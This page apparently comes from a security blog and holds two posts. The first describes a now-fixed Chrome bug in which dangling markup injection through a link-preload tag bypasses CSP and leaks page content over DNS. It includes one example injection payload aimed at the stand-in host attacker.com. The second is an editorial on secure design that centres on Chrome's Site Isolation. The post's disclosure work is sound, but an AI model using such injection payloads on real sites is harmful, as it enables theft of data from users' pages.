RESEARCH | February 20, 2019

Bypassing Chrome’s CSP with Link Preloading

In this post I’m going talk about a bug I found a while back in Google’s Chrome browser that allows attackers to bypass the Content Security Policy (CSP). Besides breaking the CSP, the bug also allows attackers a means to ex-filtrate information from inside an SSL/TLS connection. The bug was reported a couple of years back and we got word that the fix is in, so I decided to dust off this blog post and update it so you folks can learn about it.

The CSP is a configuration setting communicated to browsers through HTTP. It allows web servers to whitelist sources for active content to help defend against cross-site scripting. The policy is specified in response to resource fetches or any HTTP transaction in general with the host. Here’s what a common CSP looks like:

content-security-policy:
default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self' *.m-freeway.com;style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;

As you can see, the header lists attributes you would like to harden against unauthorized sources. It works by inspecting the browser origin that is sourcing active scripts on a document and making sure they match the ruleset published by the web server.

So that’s how CSP works. Now let’s talk about when it doesn’t work and what kind of response it got from the sec research industry. lcamptuf from Google wrote about developing attacks that do dangerous things to your DOM and your page content, despite the presence of a working CSP. Essentially trying to answer this question:

What will attacks look like should this idea actually work the way it is designed?

Among the techniques that came out of this line of questioning was the idea of “dangling content injection,” a brilliant concept that abuses the aggressively best-effort behavior of browsers. In a dangling content injection attack, you inject a broken HTML tag and rely on the browser to complete this tag by interpreting the content around the broken tag as part of the tag. Essentially injecting by forcing the browser to consume page content as part of an HTML tag, image tag, text area, etc.

Initially, this might seem like a mundane and rather harmless way to break a web page’s functionality, but as it turns out, it could result in security problems. It’s easier to grasp this with an example. Below is a page that fell victim to an HTML injection attack:

An image tag is being injected, and the payload looks like this:

https://[domain]/[path]?query=<img src="http://attacker.com

Because this <img> tag is broken, Chrome will try to fix it for us by consuming adjacent page content as part of the URL and domain name for the <img> tag. Which, as you guessed, means that Chrome will try to use it to resolve a domain name. The only thing spoiling our fun is the CSP; we need a link here that actually allows the DNS resolution to take place using the page content.

The bug I found involves the behavior of the <link> tag. Specifically, what happens in Chrome when a <link rel=’preload’ href=’[URL]’ /> is encountered. These tags are part of the “sub-resource linking mechanisms” in HTML and allow you to link documents together so they can share common sub-resources such as JavaScript, CSS, fonts etc. You can also have the browser preemptively resolve domain names before a page is loaded, which is what the <preload> links are for!

What does this look like in practice? In the following screenshot you can see the DNS traffic generated by a broken preload link tag I injected into an HTTPS secured page; you might notice some HTML keywords in the DNS names:

There you have it, details that were once safely encrypted behind a TLS stream are flying through the air in unencrypted DNS requests! Probably not how you want your browser to work.

Anyway, that’s it for this one folks. Happy hacking!

EDITORIAL | July 13, 2018

Secure Design Remains Critical

From time to time, a technically astute person challenges me around some area of secure design. Not too long ago, a distinguished engineer opined that “Threat modeling doesn’t do anything.” A CTO asked why there was any need for security architects, arguing, “We pay for static analysis. That should fix our secure development problems.”

I’m not making these comments up. The people who made them are not clueless idiots, but rather, very bright individuals. These are worthy questions. If we, security architects (that is, those of us trying to create designs that embody and enact security principles), cannot articulate what it is that we do and why it’s important, then we’re literally “out of business”; harried execs aren’t going to pay for something whose value cannot be explained, let alone quantified.

The essential problem with security architecture is that success will result in resiliency, in longevity, in plasticity in the face of change (particularly, a changing threat landscape). These are hard things to measure, and they have a time element. It can take a rather long time to demonstrate effectiveness and realize the benefits of investment. It’s what my friend, Srikanth Narasimhan (one of Cisco’s Distinguished Engineers) terms, “the long tail of architecture.” There may be no Immediate results from secure design efforts.

Every once in while, we see a good example of the art in practice. Chrome’s recent release of “Site Isolation” provides an interesting example of the application of secure design. https://security.googleblog.com/2018/07/mitigating-spectre-with-site-isolation.html

Site Isolation is a large change to Chrome’s architecture that limits each renderer process to documents from a single site.” Charlie Reis, Google Security Blog, July 11, 2018, https://security.googleblog.com/2018/07/mitigating-spectre-with-site-isolation.html. The highlight is mine.

The so-called “Spectre” technique, if you recall, is a new set of techniques that misuse speculative execution (the CPU pipeline that executes multiple potential branches of code in parallel) cache to bypass operating system and firmware restrictions. Spectre has been used by real-world attackers. Operating system and CPU vendors have been scrambling to close these avenues since January 2018. At the same time, security researchers have been finding ever more ingenious methods to expand upon the techniques. Meltdown and Spectre continue to be important security issues1.

I’m not going to dig into the technical details of site isolation here. Instead, let’s focus on the secure design improvement to Chrome.

Of course, Chrome Site Isolation is ultimately coded, which means that it may suffer from any of the security horrors that code might contain. That is, what are commonly called, “vulnerabilities.” Presumably, the Chrome team did their best to find and fix any secure coding errors (on a side note, I spent some time studying Chrome’s secure development processes and commitment to security in a past role, and I’ve no doubt that if they’ve followed their stated processes, they’ve done their utmost to write secure code and to test it well).

Secure coding aside, the Chrome team faces a significant problem: It is demonstrable that JavaScript (and potentially other web-loaded, client-side browser code) can be used to exploit Spectre2. Spectre protection cannot rely solely on coding. Because Spectre does not exploit a coding error, it cannot be “fixed” in code. Hence, in response to that CTO I quoted earlier, static analysis cannot solve this problem. Protection against Spectre in a browser must be designed. That is precisely my point.

All the vulnerability scanning tools in the world will not provide a mitigation nor fix Spectre browser exploitation. It has to be designed. That is the art of security architecture.

The threat model for attacking Chrome via Spectre exploitation is mercifully simple, in that we know the attack and its method; we have example code against which to test3.

In order to conceive of Site Isolation, its designers had to understand Spectre thoroughly, especially JavaScript/client-side code exploitation. Then, they had to weigh that knowledge against potential defenses that would be possible to build. At some point, they chose Site Isolation as the best solution from the pool of potentials, and from that point, they had to build and test Site Isolation.

Site Isolation at a very high level, confines communications and data from each website to a strictly controlled sandbox process dedicated to that site. You can read more here.

We won’t know the effectiveness of Site Isolation until it faces attacks. How long a real-world challenge will take to emerge depends upon a number of factors: adoption amongst Chrome users, metrics on defended attacks, perceived value of exploitation by real-world attackers, etc.

In the meantime, I suspect that the security research community will examine Site Isolation in great detail against its promised protection. That examination, in and of itself, must be part of a robust secure design process: independent review and the resulting dialog around the design, as threat modeling author, Adam Shostack, so wisely opines, (my response).

In any event, as events unfold for Site Isolation, we can immediately note that this is a potential success for security architecture and secure design practices. I doff my hat to the prudent Chrome folks who’ve tried to defend against Spectre directly, thus, protecting us all and perhaps offering a ray of hope (and codable technique!) to other browser makers.


1When I was at McAfee, I contributed to this early analysis of the techniques: https://www.mcafee.com/blogs/mcafee-labs/decyphering-the-noise-around-meltdown-and-spectre/
2I believe that Alex Ionescu was the first to demonstrate JavaScript Spectre exploitation in January of 2018.
3The usual threat model is not so lucky, in that the credible attacks have to be generated (which is the art and science of threat modeling. Please see my book, Securing Systems, or one of the other books on threat modeling for more information on attack trees and identifying which attacks are relevant.)